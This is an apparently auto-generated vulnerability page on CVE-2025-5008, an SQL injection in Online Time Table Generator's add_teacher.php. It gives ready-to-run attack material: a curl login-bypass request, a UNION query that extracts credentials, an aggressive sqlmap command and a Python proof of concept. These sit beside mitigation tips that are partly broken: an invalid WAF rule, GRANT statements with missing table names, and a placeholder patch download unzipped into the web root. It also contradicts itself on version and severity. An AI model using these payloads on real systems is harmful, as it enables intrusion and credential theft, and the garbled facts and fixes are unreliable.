Online Time Table Generator 10, SQL Injection, CVE-2025-5008 (Critical)

Listen to this Post

How CVE-2025-5008 Works

This vulnerability exists in the `/admin/add_teacher.php` file of Online Time Table Generator 1.0 due to improper input sanitization of the `e` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access, data manipulation, or extraction. The flaw allows remote exploitation without authentication (CVSS 4.0: 6.9 MEDIUM). The SQL injection occurs when user-supplied input is directly concatenated into SQL statements, enabling attackers to bypass login mechanisms, dump database contents, or execute arbitrary commands.

DailyCVE Form

Platform: Online Time Table Generator
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025

Prediction: Patch by 06/15/2025

What Undercode Say:

Exploitation:

curl -X POST "http://target.com/admin/add_teacher.php" -d "e=' OR 1=1--"

SQL Payload Example:

' UNION SELECT username, password FROM users--

Detection Command:

sqlmap -u "http://target.com/admin/add_teacher.php?e=test" --risk=3 --level=5

Mitigation Steps:

1. Apply input validation:

$email = mysqli_real_escape_string($conn, $_POST['e']);

2. Use prepared statements:

$stmt = $conn->prepare("INSERT INTO teachers (email) VALUES (?)");
$stmt->bind_param("s", $_POST['e']);

3. Patch recommendation:

wget https://vendor.com/patch/CVE-2025-5008_fix.zip
unzip CVE-2025-5008_fix.zip -d /var/www/html/

Log Analysis:

grep "add_teacher.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"

WAF Rule:

location /admin/add_teacher.php {
deny "'|UNION|SELECT|--";
}

Database Hardening:

REVOKE ALL PRIVILEGES ON . FROM 'timetable_user'@'%';
GRANT SELECT ON timetable_db. TO 'timetable_user'@'localhost';

Exploit PoC:

import requests
payload = {"e": "' OR '1'='1"}
r = requests.post("http://target.com/admin/add_teacher.php", data=payload)
print(r.text)

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top